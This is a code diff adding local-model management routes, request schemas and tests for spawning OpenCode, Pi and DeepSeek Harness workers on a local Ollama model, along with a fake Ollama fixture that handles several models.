-/** The 400 (or 507) of a verb the service refused with a sentence: the error envelope plus that sentence as `data`. */
+/** The 400 (or 500, or 507) of a verb the service refused with a sentence: the error envelope plus that sentence as `data`. */
 export interface LocalModelRefusalResponse {
   success: false;
   /** The sentence in English, its slots filled. */
@@ -251,8 +267,12 @@ export function registerLocalModelRoutes(
         // The measured budget once the runtime reported it, and the runtime download that an
         // install would still add: what turns the estimate into the figures of the consent.
         const options = await service.recommendOptions();
-        const recommendation = resolved.recommend(hardware, catalog, harnessFacts, options);
-        const install = await service.view();
+        const install = await service.view({ harnessFacts });
+        // A row that is already a checked model on this Mac says so: choosing it is a switch.
+        const recommendation = markLibraryCandidates(
+          resolved.recommend(hardware, catalog, harnessFacts, options),
+          install
+        );
         return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated, install } };
       } catch (err) {
         reply.code(500);
@@ -268,7 +288,17 @@ export function registerLocalModelRoutes(
     const denied = adminOnly(req, reply);
     if (denied) return denied;
     const body = parseBody(LocalModelInstallSchema, req.body);
-    return runVerb(reply, () => resolved.service().install(body, actorOf(req)));
+    // Asked at the moment of the request: another model takes the runtime from a live session.
+    const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
+    return runVerb(reply, () => resolved.service().install(body, actorOf(req), sessionNames));
+  });
+
+  app.post('/api/local-model/use', async (req, reply): Promise<LocalModelVerbResponse> => {
+    const denied = adminOnly(req, reply);
+    if (denied) return denied;
+    const body = parseBody(LocalModelUseSchema, req.body);
+    const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
+    return runVerb(reply, () => resolved.service().use(body, actorOf(req), sessionNames));
   });
 
   app.post('/api/local-model/cancel', async (req, reply): Promise<LocalModelVerbResponse> => {
@@ -303,4 +333,18 @@ export function registerLocalModelRoutes(
     const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
     return runVerb(reply, () => resolved.service().remove(body, sessionNames, actorOf(req)));
   });
+
+  app.delete('/api/local-model/models', async (req, reply): Promise<LocalModelVerbResponse> => {
+    const denied = adminOnly(req, reply);
+    if (denied) return denied;
+    const body = parseBody(LocalModelDeleteSchema, req.body);
+    return runVerb(reply, () => resolved.service().deleteLibraryModel(body, actorOf(req)));
+  });
+
+  app.post('/api/local-model/agent', async (req, reply): Promise<LocalModelVerbResponse> => {
+    const denied = adminOnly(req, reply);
+    if (denied) return denied;
+    const body = parseBody(LocalModelAgentSchema, req.body);
+    return runVerb(reply, () => resolved.service().installAgent(body, actorOf(req)));
+  });
 }

src/web/schemas.ts

@@ -2481,14 +2481,20 @@ const localModelId = z
   .max(200)
   .regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id');
 
+/**
+ * A coding agent as a CLI registry id. A request-shape check only: the real gate is the
+ * service's own lookup of the id among the catalogue harnesses it offers right now.
+ */
+const localModelCli = z
+  .string()
+  .max(64)
+  .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id');
+
 /** POST /api/local-model/install: the row the person chose and the size they confirmed. */
 export const LocalModelInstallSchema = z
   .object({
     modelId: localModelId,
-    cli: z
-      .string()
-      .max(64)
-      .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'),
+    cli: localModelCli,
     context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS),
     acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER),
   })
@@ -2505,6 +2511,15 @@ export const LocalModelRuntimeSchema = z
 /** DELETE /api/local-model. The body may be empty. */
 export const LocalModelRemoveSchema = z.object({ removeModel: z.boolean().optional() }).strict();
 
+/** POST /api/local-model/use: a checked model of the library to switch to. */
+export const LocalModelUseSchema = z.object({ modelId: localModelId }).strict();
+
+/** DELETE /api/local-model/models: one model of the store, by its name. Never a path. */
+export const LocalModelDeleteSchema = z.object({ modelId: localModelId }).strict();
+
+/** POST /api/local-model/agent: one more coding agent to install beside an installed model. */
+export const LocalModelAgentSchema = z.object({ cli: localModelCli }).strict();
+
 /**
  * A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` —
  * duplicated rather than imported, since the REAL safety boundary for anything built from

test/agent-skill-local-model.test.ts

@@ -156,6 +156,31 @@ const INSTALLED = {
 };
 const RUNNING = status({ ...INSTALLED, running: true, actions: ['start-session', 'stop', 'remove'] });
 const STOPPED = status({ ...INSTALLED, running: false, actions: ['start', 'remove'] });
+/** What a 1.51 server lists beside `cli`: the agents the model can be run with, and the models on the Mac. */
+const AGENTS = [
+  { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: ['start-session'] },
+  { cli: 'pi', cliLabel: 'Pi', default: false, status: 'ready', actions: ['start-session'] },
+  {
+    cli: 'deepseek',
+    cliLabel: 'DeepSeek',
+    default: false,
+    status: 'ready',
+    readyMark: '❯',
+    actions: ['start-session'],
+  },
+  { cli: 'claude', cliLabel: 'Claude Code', default: false, status: 'installable', installCommand: 'x', actions: [] },
+];
+const LIBRARY = [
+  { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', active: true, verified: true, status: 'ready', sizeGb: '23.1' },
+  { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', active: false, verified: true, status: 'ready', sizeGb: '13.8' },
+];
+const WITH_AGENTS = status({
+  ...INSTALLED,
+  running: true,
+  harnesses: AGENTS,
+  library: LIBRARY,
+  actions: ['start-session', 'stop', 'remove'],
+});
 const QUICK_START = JSON.stringify({ success: true, data: { sessionId: SID, casePath: '/tmp/summ' } });
 const MATCHED = JSON.stringify({ success: true, data: { wait: { matched: true, timedOut: false, ended: false } } });
 const NOT_MATCHED = JSON.stringify({ success: true, data: { wait: { matched: false, timedOut: true, ended: false } } });
@@ -181,6 +206,39 @@ describe.skipIf(!hasJq)('preamble local_model', () => {
         modelLabel: 'Qwen3.6 35B-A3B',
       },
     },
+    {
+      name: 'a server that lists them: the agents with their status and mark, and the models on this Mac',
+      body: WITH_AGENTS,
+      rc: 0,
+      expect: {
+        spawnable: true,
+        cli: 'opencode',
+        agents: [
+          { cli: 'opencode', cliLabel: 'OpenCode', status: 'ready', default: true, readyMark: '┃' },
+          { cli: 'pi', cliLabel: 'Pi', status: 'ready', default: false },
+          { cli: 'deepseek', cliLabel: 'DeepSeek', status: 'ready', default: false, readyMark: '❯' },
+          { cli: 'claude', cliLabel: 'Claude Code', status: 'installable', default: false },
+        ],
+        models: [
+          { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', active: true, status: 'ready', sizeGb: '23.1' },
+          { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', active: false, status: 'ready', sizeGb: '13.8' },
+        ],
+      },
+    },
+    {
+      name: 'installed, but no coding agent that can run it is on this Mac: no-agent, running or stopped',
+      body: status({
+        ...INSTALLED,
+        running: false,
+        harnesses: [
+          { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'installable', actions: ['install'] },
+        ],
+        // `start` with no error alone would read as spawnable.
+        actions: ['start', 'install-agent', 'remove'],
+      }),
+      rc: 1,
+      expect: { spawnable: false, reason: 'no-agent', agents: [{ cli: 'opencode', status: 'installable' }] },
+    },
     {
       name: 'an installed model whose runtime is stopped: spawnable once started',
       body: STOPPED,
@@ -427,8 +485,8 @@ describe.skipIf(!hasJq)('preamble spawn_worker <name> local', () => {
   });
 
   it('refuses a harness it knows no composer mark for, unless LOCAL_READY_MARK names one', () => {
-    const pi = status({ ...INSTALLED, cli: 'pi', running: true, actions: ['start-session', 'stop', 'remove'] });
-    const refused = runSkill('spawn_worker summ local', { 'lm-get': pi });
+    const other = status({ ...INSTALLED, cli: 'omp', running: true, actions: ['start-session', 'stop', 'remove'] });
+    const refused = runSkill('spawn_worker summ local', { 'lm-get': other });
     expect(refused.rc).toBe(1);
     expect(refused.stdout).toBe('');
     expect(refused.stderr).toMatch(/LOCAL_READY_MARK/);
@@ -436,13 +494,202 @@ describe.skipIf(!hasJq)('preamble spawn_worker <name> local', () => {
 
     const marked = runSkill(
       'spawn_worker summ local',
-      { 'lm-get': pi, 'quick-start': QUICK_START, 'wait-output': MATCHED },
-      { LOCAL_READY_MARK: 'pi-ready' }
+      { 'lm-get': other, 'quick-start': QUICK_START, 'wait-output': MATCHED },
+      { LOCAL_READY_MARK: 'omp-ready' }
     );
     expect(marked.rc).toBe(0);
     expect(marked.stdout).toBe(`${SID}\n`);
-    expect(JSON.parse(marked.calls[1].d).mode).toBe('pi');
-    expect(marked.calls[2].q).toContain('match=pi-ready');
+    expect(JSON.parse(marked.calls[1].d).mode).toBe('omp');
+    expect(marked.calls[2].q).toContain('match=omp-ready');
+  });
+
+  describe("local:<agent>: the coding agent is the caller's choice", () => {
+    const spawn = (kind: string, lm: string = WITH_AGENTS, env: Record<string, string> = {}) =>
+      runSkill(`spawn_worker summ ${kind}`, { 'lm-get': lm, 'quick-start': QUICK_START, 'wait-output': MATCHED }, env);
+
+    it('plain local still starts the default agent, with the mark the server names', () => {
+      const run = spawn('local');
+      expect(run.rc).toBe(0);
+      expect(JSON.parse(run.calls[1].d)).toEqual({
+        caseName: 'summ',
+        mode: 'opencode',
+        parentSessionId: SELF,
+        customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
+      });
+      expect(run.calls[2].q).toContain('match=┃');
+    });
+
+    it('local:pi starts Pi without trusting the folder, and waits for the end of its startup', () => {
+      const run = spawn('local:pi');
+      expect(run.stderr).toBe('');
+      expect(run.rc).toBe(0);
+      expect(run.stdout).toBe(`${SID}\n`);
+      expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
+      expect(JSON.parse(run.calls[1].d)).toEqual({
+        caseName: 'summ',
+        mode: 'pi',
+        parentSessionId: SELF,
+        // --no-approve: the task prompt must never answer Pi's trust question.
+        piConfig: { approveProjectTrust: false },
+        customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
+      });
+      // Not its composer rule, which is painted before Pi takes Enter.
+      expect(run.calls[2].q).toContain('match=extended-keys');
+      expect(run.calls[2].q).not.toContain('match=─');
+    });
+
+    it('local:deepseek starts DeepSeek Harness with the permission posture of the Run button, at its composer glyph', () => {
+      const run = spawn('local:deepseek');
+      expect(run.rc).toBe(0);
+      expect(JSON.parse(run.calls[1].d)).toEqual({
+        caseName: 'summ',
+        mode: 'deepseek',
+        parentSessionId: SELF,
+        deepSeekConfig: { permissionMode: 'danger-full-access' },
+        customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
+      });
+      expect(run.calls[2].q).toContain('match=❯');
+    });
+
+    it('a DeepSeek Harness worker that opened its setup guide is deleted, never handed back: its cursor is the mark too', () => {
+      // dsh-TUI 0.19.0, as the rendered pane reads: the guide, with `❯` on its first step.
+      const guide = JSON.stringify({
+        success: true,
+        data: {
+          terminalBuffer:
+            '\u001b[1mWelcome to dsh-TUI\u001b[0m   Step 1 of 4\r\n  ✗ No DEEPSEEK_API_KEY yet\r\n❯ Sign in to a subscription (OAuth)\r\n',
+        },
+      });
+      const composer = JSON.stringify({
+        success: true,
+        data: {
+          terminalBuffer:
+            '╭────╮\r\n│ ❯ Say something, or type / for commands…\r\n╰────╯\r\n qwen3.6:35b-a3b  ·  standard\r\n',
+        },
+      });
+      const answers = { 'lm-get': WITH_AGENTS, 'quick-start': QUICK_START, 'wait-output': MATCHED };
+
+      const blocked = runSkill('spawn_worker rev local:deepseek', {
+        ...answers,
+        terminal: guide,
+        delete: JSON.stringify({ success: true, data: {} }),
+      });
+      expect(blocked.rc).toBe(1);
+      expect(blocked.stdout).toBe('');
+      expect(blocked.stderr).toMatch(/setup guide/);
+      expect(blocked.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
+        'GET lm-get',
+        'POST quick-start',
+        'GET wait-output',
+        'GET terminal',
+        'DELETE delete',
+      ]);
+
+      const ready = runSkill('spawn_worker rev local:deepseek', { ...answers, terminal: composer });
+      expect(ready.stderr).toBe('');
+      expect(ready.rc).toBe(0);
+      expect(ready.stdout).toBe(`${SID}\n`);
+
+      // The same look for a DeepSeek worker that is not on the local model.
+      const cloud = runSkill('spawn_worker rev deepseek', {
+        'quick-start': QUICK_START,
+        'wait-output': MATCHED,
+        terminal: guide,
+        delete: JSON.stringify({ success: true, data: {} }),
+      });
+      expect(cloud.rc).toBe(1);
+      expect(cloud.stdout).toBe('');
+      expect(cloud.stderr).toMatch(/setup guide/);
+      expect(cloud.calls.map((call) => call.key)).toEqual(['quick-start', 'wait-output', 'terminal', 'delete']);
+    });
+
+    it('a mark the server names wins over the one this skill measured, and LOCAL_READY_MARK over both', () => {
+      const named = status({
+        ...INSTALLED,
+        running: true,
+        harnesses: AGENTS.map((agent) => (agent.cli === 'pi' ? { ...agent, readyMark: 'pi-is-up' } : agent)),
+        actions: ['start-session', 'stop', 'remove'],
+      });
+      expect(spawn('local:pi', named).calls[2].q).toContain('match=pi-is-up');
+      expect(spawn('local:pi', named, { LOCAL_READY_MARK: 'mine' }).calls[2].q).toContain('match=mine');
+      expect(spawn('local:opencode', WITH_AGENTS, { LOCAL_READY_MARK: 'mine' }).calls[2].q).toContain('match=mine');
+    });
+
+    it('refuses an agent that is not startable, names the ones that are, and starts nothing', () => {
+      const run = spawn('local:claude');
+      expect(run.rc).toBe(1);
+      expect(run.stdout).toBe('');
+      expect(run.stderr).toContain("'claude' is not startable on this Mac (installable)");
+      expect(run.stderr).toContain('Startable now: opencode, pi, deepseek');
+      expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
+    });
+
+    it('refuses an agent the model cannot be run with at all', () => {
+      const run = spawn('local:grok');
+      expect(run.rc).toBe(1);
+      expect(run.stdout).toBe('');
+      expect(run.stderr).toContain("cannot be run with 'grok'");
+      expect(run.stderr).toContain('Startable: opencode, pi, deepseek');
+      expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
+    });
+
+    it('a Codeman that lists no agents: its one agent can be named, another cannot', () => {
+      const same = spawn('local:opencode', RUNNING);
+      expect(same.rc).toBe(0);
+      expect(JSON.parse(same.calls[1].d).mode).toBe('opencode');
+      expect(same.calls[2].q).toContain('match=┃');
+
+      const other = spawn('local:pi', RUNNING);
+      expect(other.rc).toBe(1);
+      expect(other.stdout).toBe('');
+      expect(other.stderr).toMatch(/lists one coding agent for the local model, opencode/);
+      expect(other.calls.map((call) => call.key)).toEqual(['lm-get']);
+    });
+
+    it('with no agent that can be started nothing is spawned, whatever was asked for', () => {
+      const none = status({
+        ...INSTALLED,
+        running: true,
+        harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'installing', actions: [] }],
+        actions: ['stop', 'remove'],
+      });
+      for (const kind of ['local', 'local:opencode']) {
+        const run = spawn(kind, none);
+        expect(run.rc).toBe(1);
+        expect(run.stdout).toBe('');
+        expect(run.stderr).toMatch(/no local model to spawn on \(no-agent\)/);
+        expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
+      }
+    });
+
+    it('a worker whose mark never shows is deleted, and the message names the agent', () => {
+      const run = runSkill('spawn_worker summ local:pi', {
+        'lm-get': WITH_AGENTS,
+        'quick-start': QUICK_START,
+        'wait-output': NOT_MATCHED,
+        delete: JSON.stringify({ success: true, data: {} }),
+      });
+      expect(run.rc).toBe(1);
+      expect(run.stdout).toBe('');
+      expect(run.stderr).toMatch(/\(pi\) never drew 'extended-keys'/);
+      expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
+        'GET lm-get',
+        'POST quick-start',
+        'GET wait-output',
+        'DELETE delete',
+      ]);
+    });
+
+    it('spawn_workers takes name:local:agent in a mixed fleet', () => {
+      const run = runSkill('spawn_workers a:local:pi', {
+        'lm-get': WITH_AGENTS,
+        'quick-start': QUICK_START,
+        'wait-output': MATCHED,
+      });
+      expect(run.calls.map((call) => call.key)).toContain('quick-start');
+      const body = JSON.parse(run.calls.find((call) => call.key === 'quick-start')!.d);
+      expect([body.caseName, body.mode]).toEqual(['a', 'pi']);
+    });
   });
 
   it('runs a claude harness through the claude readiness path (hooks vetted, shift+tab)', () => {

test/custom-model-injection.test.ts

@@ -194,6 +194,24 @@ describe('buildCustomModelInjection', () => {
     expect(parsed.providers.custom.models).toEqual([{ id: 'qwen3' }]); // array, NOT keyed by id
   });
 
+  it('pi: the model entry carries the endpoint window and a reply share of it, or pi takes the model for a 128k one', () => {
+    const models = (contextLength?: number) => {
+      const result = buildCustomModelInjection(entryOrThrow('pi'), endpoint, 'qwen3.6:35b-a3b', contextLength);
+      if (result.kind !== 'configDir') throw new Error('unreachable');
+      return JSON.parse(result.files[0].content).providers.custom.models;
+    };
+    // The full window, and 8192 reply tokens at most (measured on pi 1.5.2: the request then
+    // carries max_tokens 8192 instead of its own 16384).
+    expect(models(65536)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 65536, maxTokens: 8192 }]);
+    expect(models(131072.9)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 131072, maxTokens: 8192 }]);
+    // A small window keeps three quarters for the prompt.
+    expect(models(16384)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 16384, maxTokens: 4096 }]);
+    // Unknown stays unknown: no limit is invented.
+    for (const contextLength of [undefined, NaN, 0, -1, Infinity]) {
+      expect(models(contextLength), String(contextLength)).toEqual([{ id: 'qwen3.6:35b-a3b' }]);
+    }
+  });
+
   it('omp: configDir writes .omp/agent/models.yml, redirected via HOME (verified live end-to-end)', () => {
     const result = buildCustomModelInjection(entryOrThrow('omp'), endpoint, 'qwen3');
     if (result.kind !== 'configDir') throw new Error('unreachable');
@@ -239,9 +257,9 @@ describe('buildCustomModelInjection', () => {
     // The patch references the DEDICATED var by name, never dsh's own DEEPSEEK_API_KEY:
     // dsh's llm-deepseek/web-search rows read that too and would leak this key to
     // api.deepseek.com on an in-session /model switch back to the official route.
-    expect(patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'].apiKeyEnv).toBe(
-      'CODEMAN_CUSTOM_MODEL_API_KEY'
-    );
+    expect(
+      patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'].apiKeyEnv
+    ).toBe('CODEMAN_CUSTOM_MODEL_API_KEY');
     expect(result.files[0].content).not.toContain('DEEPSEEK_API_KEY');
     expect(patch.find((row: { id: string }) => row.id === 'dsh-tui').config.model).toBe('qwen3');
   });

test/fixtures/fake-ollama.ts

@@ -18,6 +18,7 @@
  * | `GET /api/ps`                     | the model once a chat loaded it (`size`, `size_vram`, `context_length`) |
  * | `POST /api/pull`                  | NDJSON progress, see `FakePullSwitches`                             |
  * | `DELETE /api/delete`              | 200, or 404 for a model that is not installed                       |
+ * |                                   | (the model, or one of `otherModels`)                                |
  * | `GET /v1/models`                  | the model's id, or `data: null` when none is installed (as the real one) |
  * | `POST /v1/chat/completions`       | a plain answer, or a tool call when the request carries `tools`     |
  * | `GET /download/ollama-darwin.tgz` | a small real `.tgz` with Range support, see `FakeArchiveSwitches`   |
@@ -220,6 +221,14 @@ export interface FakeOllamaOptions {
   spawn?: Partial<FakeSpawnSwitches>;
   /** The files of the fake runtime archive, name to content. Default: one executable `ollama` script. */
   archiveFiles?: Record<string, string>;
+  /**
+   * More models the registry has beside `model`: each can be pulled (a short stream that
+   * succeeds), listed, loaded, checked and deleted on its own. The pull, chat and tool
+   * switches apply to them too, except the pull's failures and shapes, which are `model`'s.
+   */
+  otherModels?: FakeOllamaModel[];
+  /** The ids of `otherModels` that are on disk from the start. */
+  othersInstalled?: string[];
 }
 
 export interface CapturedRequest {
@@ -304,6 +313,10 @@ export interface FakeOllama {
     archiveRequests: number;
     /** Every child `spawn` made, oldest first. */
     children: FakeRuntimeChild[];
+    /** The ids of `otherModels` that are on disk: pulled, or installed from the start. */
+    others: string[];
+    /** The id of the model the last chat loaded. The runtime holds one model at a time. */
+    loadedId?: string;
   };
   /** The fake runtime archive: a real gzipped tar. */
   readonly archive: { readonly body: Buffer; readonly size: number; readonly sha256: string };
@@ -436,7 +449,26 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
     pulls: 0,
     archiveRequests: 0,
     children: [],
+    others: [...(options.othersInstalled ?? [])],
   };
+  const otherModels = options.otherModels ?? [];
+  /** One of `otherModels` by its id, whether it is on disk or not. */
+  const otherModel = (id: unknown): FakeOllamaModel | undefined => otherModels.find((other) => other.id === id);
+  /** The model `id` names when it is on disk: `model` or one of the others. */
+  const onDisk = (id: unknown): FakeOllamaModel | undefined => {
+    if (id === model.id) return state.installed ? model : undefined;
+    const other = otherModel(id);
+    return other && state.others.includes(other.id) ? other : undefined;
+  };
+  const tagRow = (entry: FakeOllamaModel): Record<string, unknown> => ({
+    name: entry.id,
+    model: entry.id,
+    modified_at: '2026-11-06T15:10:02.465346347+01:00',
+    size: entry.bytes,
+    digest: entry.digest,
+    details: { ...modelDetails(), format: entry.format, context_length: 262144, runner: entry.runner },
+    capabilities: entry.capabilities,
+  });
   const requests: CapturedRequest[] = [];
   const sockets = new Set<Socket>();
   let server: Server | undefined;
@@ -475,6 +507,18 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
     };
 
     if (!(await line({ status: 'pulling manifest' }))) return;
+    // One of the other models: a short stream that succeeds.
+    const other = otherModel(askedId);
+    if (other && pull.fail !== 'not-found') {
+      const layer = { status: 'pulling model', digest: 'sha256:other', total: other.bytes };
+      if (!(await line({ ...layer, completed: 0 }))) return;
+      if (!(await line({ ...layer, completed: other.bytes }))) return;
+      if (!(await line({ status: 'writing manifest' }))) return;
+      if (!state.others.includes(other.id)) state.others.push(other.id);
+      await line({ status: 'success' });
+      res.end();
+      return;
+    }
     // Not captured on a Mac: the wording of the runtime for a tag the registry does not have.
     if (pull.fail === 'not-found' || askedId !== model.id) {
       await line({ error: 'pull model manifest: file does not exist' });
@@ -528,7 +572,8 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
 
   function handleChat(res: ServerResponse, body: unknown): void {
     const request = (body as { model?: unknown; tools?: unknown } | undefined) ?? {};
-    if (!state.installed || request.model !== model.id) {
+    const served = onDisk(request.model);
+    if (!served) {
       sendJson(res, 404, {
         error: {
           message: `model '${String(request.model)}' not found`,
@@ -544,7 +589,7 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
       id: `chatcmpl-${chatCounter++}`,
       object: 'chat.completion',
       created: 1793968038,
-      model: model.id,
+      model: served.id,
       system_fingerprint: 'fp_ollama',
       choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }],
       usage: {
@@ -563,12 +608,18 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
         });
         return;
       }
-      if (switches.ps.loaded !== false) state.loaded = true;
+      if (switches.ps.loaded !== false) {
+        state.loaded = true;
+        state.loadedId = served.id;
+      }
       sendJson(res, 200, envelope({ content: 'pong' }, 'stop'));
       return;
     }
 
-    if (switches.ps.loaded !== false) state.loaded = true;
+    if (switches.ps.loaded !== false) {
+      state.loaded = true;
+      state.loadedId = served.id;
+    }
     const fn = (tools[0] as { function?: { name?: unknown; parameters?: { properties?: unknown } } }).function ?? {};
     const name = typeof fn.name === 'string' ? fn.name : 'tool';
     const properties = (fn.parameters?.properties ?? {}) as Record<string, unknown>;
@@ -648,39 +699,31 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
     }
     if (path === '/api/version' && method === 'GET') return sendJson(res, 200, { version });
     if (path === '/api/tags' && method === 'GET') {
-      const models = state.installed
-        ? [
-            {
-              name: model.id,
-              model: model.id,
-              modified_at: '2026-11-06T15:10:02.465346347+01:00',
-              size: model.bytes,
-              digest: model.digest,
-              details: { ...modelDetails(), context_length: 262144, runner: model.runner },
-              capabilities: model.capabilities,
-            },
-          ]
-        : [];
+      const models = [
+        ...(state.installed ? [tagRow(model)] : []),
+        ...otherModels.filter((other) => state.others.includes(other.id)).map(tagRow),
+      ];
       return sendJson(res, 200, { models });
     }
     if (path === '/api/ps' && method === 'GET') {
-      const size = switches.ps.size ?? model.bytes + 100_000_000;
-      const models =
-        state.installed && state.loaded && switches.ps.loaded !== false
-          ? [
-              {
-                name: model.id,
-                model: model.id,
-                size,
-                digest: model.digest,
-                details: modelDetails(),
-                expires_at: '2026-11-06T15:20:09.488045+01:00',
-                size_vram: switches.ps.sizeVram ?? size,
-                context_length: switches.ps.contextLength ?? contextLength,
-                runner: model.runner,
-              },
-            ]
-          : [];
+      // The runtime holds ONE model: the one the last chat loaded.
+      const held = state.loaded && switches.ps.loaded !== false ? onDisk(state.loadedId ?? model.id) : undefined;
+      const size = switches.ps.size ?? (held ?? model).bytes + 100_000_000;
+      const models = held
+        ? [
+            {
+              name: held.id,
+              model: held.id,
+              size,
+              digest: held.digest,
+              details: modelDetails(),
+              expires_at: '2026-11-06T15:20:09.488045+01:00',
+              size_vram: switches.ps.sizeVram ?? size,
+              context_length: switches.ps.contextLength ?? contextLength,
+              runner: held.runner,
+            },
+          ]
+        : [];
       return sendJson(res, 200, { models });
     }
     if (path === '/api/pull' && method === 'POST') return handlePull(res, body);
@@ -688,20 +731,35 @@ export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
       // Not captured: the answers of a delete (200 with no body, 404 with an error text).
       const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
       const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
+      const other = otherModel(askedId);
+      if (other && state.others.includes(other.id)) {
+        state.others = state.others.filter((id) => id !== other.id);
+        if (state.loadedId === other.id) {
+          state.loaded = false;
+          state.loadedId = undefined;
+        }
+        res.writeHead(200);
+        res.end();
+        return;
+      }
       if (!state.installed || askedId !== model.id) {
         return sendJson(res, 404, { error: `model '${String(askedId)}' not found` });
       }
       state.installed = false;
       state.loaded = false;
+      state.loadedId = undefined;
       state.completedBytes = 0;
       res.writeHead(200);
       res.end();
       return;
     }
     if (path === '/v1/models' && method === 'GET') {
-      const data = state.installed
-        ? [{ id: model.id, object: 'model', created: 1793967749, owned_by: 'library' }]
-        : null;
+      const ids = [
+        ...(state.installed ? [model.id] : []),
+        ...otherModels.filter((other) => state.others.includes(other.id)).map((other) => other.id),
+      ];
+      const data =
+        ids.length > 0 ? ids.map((id) => ({ id, object: 'model', created: 1793967749, owned_by: 'library' })) : null;
       return sendJson(res, 200, { object: 'list', data });
     }
     if (path === '/v1/chat/completions' && method === 'POST') return handleChat(res, body);

test/local-model-catalog.test.ts

@@ -294,12 +294,28 @@ describe('the stock catalogue', () => {
     });
   });
 
-  it('lists its harnesses as data rows, one of them gated', () => {
+  it('lists its harnesses as data rows: four, none gated, none below the smallest context a model offers', () => {
     expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([
-      { cli: 'opencode', minContext: 65536, rank: 3 },
-      { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
-      { cli: 'pi', minContext: 32768, rank: 1, gated: true },
+      { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
+      { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
+      { cli: 'pi', minContext: 65536, rank: 2 },
+      { cli: 'deepseek', minContext: 65536, rank: 1 },
     ]);
+    // No harness asks for less than a model can be offered at: nothing below 65536 was run.
+    const smallest = Math.min(...STOCK_LOCAL_MODEL_CATALOG.models.flatMap((model) => model.contexts));
+    for (const harness of STOCK_LOCAL_MODEL_CATALOG.harnesses) {
+      expect(harness.minContext).toBeGreaterThanOrEqual(smallest);
+    }
+  });
+
+  it('a readiness mark is one literal without white space', () => {
+    const spaced = copy();
+    spaced.harnesses[0] = { ...spaced.harnesses[0], readyMark: '/ commands' };
+    expect(issuesOf(spaced)).toHaveLength(1);
+    expect(issuesOf(spaced)[0]).toMatch(/^harnesses\.0\.readyMark: /);
+    const empty = copy();
+    empty.harnesses[0] = { ...empty.harnesses[0], readyMark: '' };
+    expect(issuesOf(empty)[0]).toMatch(/^harnesses\.0\.readyMark: /);
   });
 
   it('names the oldest macOS and its schema version', () => {
@@ -534,7 +550,7 @@ describe('the schema, across rows', () => {
   it('refuses a harness listed twice and a repeated harness rank', () => {
     const twice = copy();
     twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 });
-    expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']);
+    expect(issuesOf(twice)).toEqual(['harnesses.4.cli: a harness may be listed only once']);
 
     const sameRank = copy();
     sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank };

test/local-model-harness-facts.test.ts

@@ -187,6 +187,63 @@ describe('buildHarnessFacts', () => {
     expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false });
   });
 
+  it('a launcher is never installable: its install command leaves it with nothing to launch', async () => {
+    // DeepSeek Harness is the stock launcher: its command needs no administrator, and it would
+    // still not be startable after it (it needs a profile, which is third-party code).
+    const launcher = stockEntry('deepseek');
+    expect(launcher.discovery.launcherProfile).toBeDefined();
+    expect(installCommandNeedsAdmin(darwinCommand(launcher) as string)).toBe(false);
+    const command = vi.fn(darwinCommand);
+    const [missing] = await buildHarnessFacts(catalogWith(['deepseek']), {
+      probeInstalled: installedOnly(),
+      installCommandFor: command,
+    });
+    expect(missing).toMatchObject({ cli: 'deepseek', installed: false, installable: false });
+    expect(missing).not.toHaveProperty('installCommand');
+    expect(command).not.toHaveBeenCalled();
+    // Set up by the person: it is a harness like the others.
+    const [there] = await buildHarnessFacts(catalogWith(['deepseek']), { probeInstalled: installedOnly('deepseek') });
+    expect(there).toMatchObject({ installed: true, installable: false });
+
+    // The rule reads the entry's data, not its id: any entry with a launcher profile, and no other.
